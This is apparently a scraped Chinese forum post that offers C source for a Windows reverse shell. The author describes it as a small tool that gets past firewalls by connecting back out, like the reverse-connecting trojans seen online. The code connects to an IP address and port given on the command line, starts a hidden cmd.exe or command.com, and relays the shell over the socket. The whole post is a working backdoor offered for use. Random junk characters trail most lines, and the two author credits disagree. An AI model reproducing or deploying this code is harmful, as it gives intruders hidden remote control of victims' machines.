这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 6-FM<@H{
8:[ l1d86
/* ============================== kPoz&e_@
Rebound port in Windows NT I51I(QF=
By wind,2006/7 ~F%sO'4!
===============================*/ nw(R=C
#include vo(:g6$
#include *HB 32 =qD
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#pragma comment(lib,"wsock32.lib") GL~
Wnt
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void OutputShell(); 5)A[NTNJx
SOCKET sClient; &j,#5f(
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; cg_ " }]Y1
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void main(int argc,char **argv) H3 -?cy
{ e=3C*+lq\
WSADATA stWsaData; 9WI5\`*"
int nRet; X ]W)D
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SOCKADDR_IN stSaiClient,stSaiServer; hV:++g
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if(argc != 3) p=3t!3
{ HJBGxyw
printf("Useage:\n\rRebound DestIP DestPort\n"); {Qc,Nl
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return; xojt s;n
} Uz~B`
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WSAStartup(MAKEWORD(2,2),&stWsaData); <@[;IX`YN
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w 62m}5eA
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stSaiClient.sin_family = AF_INET; %!eRR
stSaiClient.sin_port = htons(0); G|RBwl
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); =CO) Q2
#RbdQH !
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) mG$N%`aG
{ l(Dr@LB~
printf("Bind Socket Failed!\n"); `NsQ&G
return; !&:Cp_
} ~`="tzr:
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stSaiServer.sin_family = AF_INET; }zxf~41
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); P&=YLL<W
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); V'tR
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Bex;!1
{ 0U:X[2|)
printf("Connect Error!"); %|ClYr
return; pL!,1D!
} <$K=3&:s8q
OutputShell(); !3iZa*
} IaQm)"Z
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void OutputShell() \o=9WKc
{ 5gV,^[E-z
char szBuff[1024]; DBG0)=SHy
SECURITY_ATTRIBUTES stSecurityAttributes; LT>_Y`5>
OSVERSIONINFO stOsversionInfo; ,]nRnI^
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ''D7Bat@
STARTUPINFO stStartupInfo; ."gq[0_YS
char *szShell; j}d):3!
PROCESS_INFORMATION stProcessInformation; DaJ,(DJY
unsigned long lBytesRead; wEwRW
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); dQ~GE}[
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); {&XTa`C
stSecurityAttributes.lpSecurityDescriptor = 0; x;`Gn_
stSecurityAttributes.bInheritHandle = TRUE; )+|wrK:*v
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); YtKT3u:x
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); pUS: HJk|
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Ph%ylS/T{
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {[`(o
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stStartupInfo.wShowWindow = SW_HIDE; I'^XEl?
stStartupInfo.hStdInput = hReadPipe; !.^x^OK%y
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \y%"tJ~N{
he/rt#
GetVersionEx(&stOsversionInfo); G[]%1
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switch(stOsversionInfo.dwPlatformId) @*~yVV!5
{ A,t g268
case 1: J[r_ag
szShell = "command.com"; l)o!&]2
break; GD)paTwO<
default: ,YjjL
szShell = "cmd.exe"; (gPB@hAv
break; B~k{f}
} 8(l0\R,%+z
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); X Db% -
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send(sClient,szMsg,77,0); n0gjcDHQ
while(1) -?:8sv*X
{ 1Az&BZU[
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); qTRP2rH,L&
if(lBytesRead) h.]^ o*DJ
{ SmD#hE[
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); \)wVO*9*0
send(sClient,szBuff,lBytesRead,0); v;5-1
} Q]GS#n
else kjp~:Bg_(
{ 5de1r B|
lBytesRead=recv(sClient,szBuff,1024,0); =liyd74%`
if(lBytesRead<=0) break; /m;Bwu
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); A^+k A)8
} -T1R}ew*t
} v;G/8>GRy
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return; s.rQiD
}